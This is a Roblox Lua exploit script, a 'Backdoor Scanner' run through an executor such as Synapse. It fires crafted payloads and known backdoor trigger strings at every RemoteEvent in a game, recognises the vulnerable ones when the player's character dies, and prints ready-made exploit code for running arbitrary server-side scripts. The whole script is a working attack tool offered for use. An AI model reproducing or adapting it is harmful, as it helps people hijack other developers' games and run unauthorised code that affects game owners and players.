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- -- Backdoor Finder Script
- -- og by Indica
- local findGG = true -- Exodus ServerSide
- local FindSkidded = true -- Finds that one skidded
- local Target = game -- Second Wave Target
- local scanFolders = true -- If you want to scan the folders within a target
- local scanAll = true -- Continue scanning after finding a vulnerable remote
- local WaitTime = 0 -- Reccomended wait time is 2
- local hasSynapse = false -- Enables Synapse functions to save the found remotes to a text file
- local generateScript = true -- Generates a script to be used for the first found vulnerable remote
- local scanFullTarget = true -- Scans everything. Everything.
- local BlackList = { } -- Items to exclude from the scanning process "item1", "item2", "item3" etc
- ---------------------------------------------------------------------------
- ---------------------------------------------------------------------------
- local LocalPlayer = game:GetService("Players").LocalPlayer
- local Script = [[game:GetService("Players").]]..tostring(LocalPlayer.Name)..[[.Character.Head:Remove()]]
- local playerDied = false
- local foundBackdoor = false
- local vulnCount = 0;
- local foundItems = {}
- local toWrite = ""
- tempList = {}
- print("------------------------------------------------------------------")
- print("IMPORTANT : Do not die whilst using this.")
- print("------------------------------------------------------------------")
- print("Backdoor Scanner v2 -- Edit by A Sad Cat")
- print("------------------------------------------------------------------")
- for _,mem in pairs(BlackList) do -- testing purposes
- table.insert(tempList, mem)
- end
- function writeFile(text)
- Synapse:WriteFile(tostring(game.PlaceId).." -- Backdoor Finder.txt", text)
- end
- function inTable(table, element)
- for i,v in pairs(table) do
- if v == element then
- return true
- end
- end
- return false
- end
- function scanPlayer()
- if not LocalPlayer.Character:FindFirstChild("Head") then
- playerDied = true
- end
- end
- function showHint(text)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Triscut's Backdoor Hacker";
- Text = text;
- })
- end
- function waitForPlayer()
- if LocalPlayer.Character:FindFirstChild("Head") then
- return true
- else
- return false
- end
- end
- showHint("Now hacking...")
- wait(1)
- function scanTargAll()
- showHint("Third Wave Started.")
- for _,v in pairs(game:GetDescendants()) do
- if v:IsA('RemoteEvent') then
- if not inTable(tempList, tostring(v.Name)) then
- print("Testing Remote : "..v.Name)
- v:FireServer(Script)
- wait(WaitTime)
- scanPlayer()
- if playerDied == true then
- print("Found Backdoor RemoteEvent : "..v.Name)
- showHint("Found Backdoor RemoteEvent : "..v.Name)
- vulnCount = vulnCount + 1;
- table.insert(foundItems, v.Name)
- while true do
- if waitForPlayer then
- break
- end
- wait(0.2)
- end
- playerDied = false;
- end
- else
- print(v.Name.." is Blacklisted - Not Scanning")
- end
- end
- end
- end
- function waveDOS()
- showHint("Second Wave Started.")
- for _,v in pairs(game:GetDescendants()) do
- if v:IsA('RemoteEvent') then
- if not inTable(tempList, tostring(v.Name)) then
- print("Testing Remote : "..v.Name)
- v:FireServer("LiruBestWaifu",Script)
- wait(WaitTime)
- scanPlayer()
- if playerDied == true then
- print("Found Backdoor RemoteEvent : "..v.Name)
- showHint("Found Backdoor RemoteEvent : "..v.Name)
- vulnCount = vulnCount + 1;
- table.insert(foundItems, v.Name)
- while true do
- if waitForPlayer then
- break
- end
- wait(0.2)
- end
- playerDied = false;
- end
- else
- print(v.Name.." is Blacklisted - Not Scanning")
- end
- end
- end
- end
- function StandardScan()
- showHint("First Wave Started.")
- for i,v in pairs(Target:GetChildren()) do
- if v:IsA("RemoteEvent") then
- if not inTable(tempList, tostring(v.Name)) then
- print("Testing Remote : "..v.Name)
- v:FireServer(Script)
- wait(WaitTime)
- scanPlayer()
- if playerDied == true then
- print("Found Backdoor RemoteEvent : "..v.Name)
- showHint("Found Backdoor RemoteEvent : "..v.Name)
- vulnCount = vulnCount + 1;
- table.insert(foundItems, v.Name)
- while true do
- if waitForPlayer then
- break
- end
- wait(0.2)
- end
- if scanAll == false then
- foundBackdoor = true
- break
- end
- playerDied = false;
- end
- else
- print(v.Name.." is Blacklisted - Not Scanning")
- end
- elseif scanFolders == true then
- if v:IsA("Folder") or v:IsA("Model") then
- for d,c in pairs(v:GetChildren()) do
- if c:IsA("RemoteEvent") then
- if not inTable(tempList, tostring(c.Name)) then
- print("Testing Remote : "..c.Name)
- c:FireServer(Script)
- wait(WaitTime)
- scanPlayer()
- if playerDied == true then
- print("Found Backdoor RemoteEvent : "..v.Name.." >> "..c.Name)
- showHint("Found Backdoor RemoteEvent : "..v.Name.." >> "..c.Name)
- vulnCount = vulnCount + 1;
- table.insert(foundItems, v.Name)
- while true do
- if waitForPlayer then
- break
- end
- wait(0.2)
- end
- if scanAll == false then
- foundBackdoor = true
- break
- end
- playerDied = false;
- end
- else
- print(c.Name.." is Blacklisted - Not Scanning")
- end
- end
- end
- end
- end
- end
- end
- function GG()
- showHint("GameGaurdian Wave Started.")
- for _,v in pairs(game:GetDescendants()) do
- if v:IsA('RemoteEvent') then
- if not inTable(tempList, tostring(v.Name)) then
- print("Testing Remote : "..v.Name)
- v:FireServer('$#4#!34D@fasd@$@#@', 1176949464, game:GetService'Players'.LocalPlayer.Name)
- wait(WaitTime)
- scanPlayer()
- if playerDied == true then
- print("Found Backdoor RemoteEvent : "..v.Name)
- showHint("Found Backdoor RemoteEvent : "..v.Name)
- vulnCount = vulnCount + 1;
- table.insert(foundItems, v.Name)
- while true do
- if waitForPlayer then
- break
- end
- wait(0.2)
- end
- if scanAll == false then
- foundBackdoor = true
- break
- end
- playerDied = false;
- end
- else
- print(v.Name.." is Blacklisted - Not Scanning")
- end
- elseif scanFolders == true then
- if v:IsA("Folder") or v:IsA("Model") then
- for d,c in pairs(v:GetChildren()) do
- if c:IsA("RemoteEvent") then
- if not inTable(tempList, tostring(c.Name)) then
- print("Testing Remote : "..c.Name)
- c:FireServer(Script)
- wait(WaitTime)
- scanPlayer()
- if playerDied == true then
- print("Found Backdoor RemoteEvent : "..v.Name.." >> "..c.Name)
- showHint("Found Backdoor RemoteEvent : "..v.Name.." >> "..c.Name)
- vulnCount = vulnCount + 1;
- table.insert(foundItems, v.Name)
- while true do
- if waitForPlayer then
- break
- end
- wait(0.2)
- end
- if scanAll == false then
- foundBackdoor = true
- break
- end
- playerDied = false;
- end
- else
- print(c.Name.." is Blacklisted - Not Scanning")
- end
- end
- end
- end
- end
- end
- end
- StandardScan()
- wait(5)
- waveDOS()
- wait(5)
- scanTargAll()
- wait(5)
- if findGG == true then
- GG()
- end
- if vulnCount >= 1 then
- foundBackdoor = true
- end
- print("------------------------------------------------------------------")
- if foundBackdoor == false then
- print("Couldn't find a backdoor in the target :(")
- showHint("Mission Failed We Will Get Em Next Time.")
- else
- print("Found "..tostring(vulnCount).." Items.")
- showHint("Found "..tostring(vulnCount).." Items.")
- showHint("Please look at the ROBLOX developer console (F9)")
- if hasSynapse then
- toWrite = "--Generated with Indica Backdoor Scanner--\n"
- end
- for i,v in pairs (foundItems) do
- print("Vulnerable Remote : "..tostring(v))
- showHint("Vulnerable Remote : "..tostring(v))
- if hasSynapse then
- toWrite = toWrite.."Vulnerable Remote : "..tostring(v).."\n"
- writeFile(toWrite)
- end
- end
- print("------------------------------------------------------------------")
- print("----------------------------SCRIPT----------------------------")
- if generateScript then
- genRemote = foundItems[1]
- line1 = [[local Backdoor = game:GetService("]]..Target.Name..[[").]]..genRemote
- line2 = [[local Script = ""]]
- line3 = [[Backdoor:FireServer(Script)]]
- print(line1)
- print(line2)
- print(line3)
- end
- end
- print("------------------------------------------------------------------")
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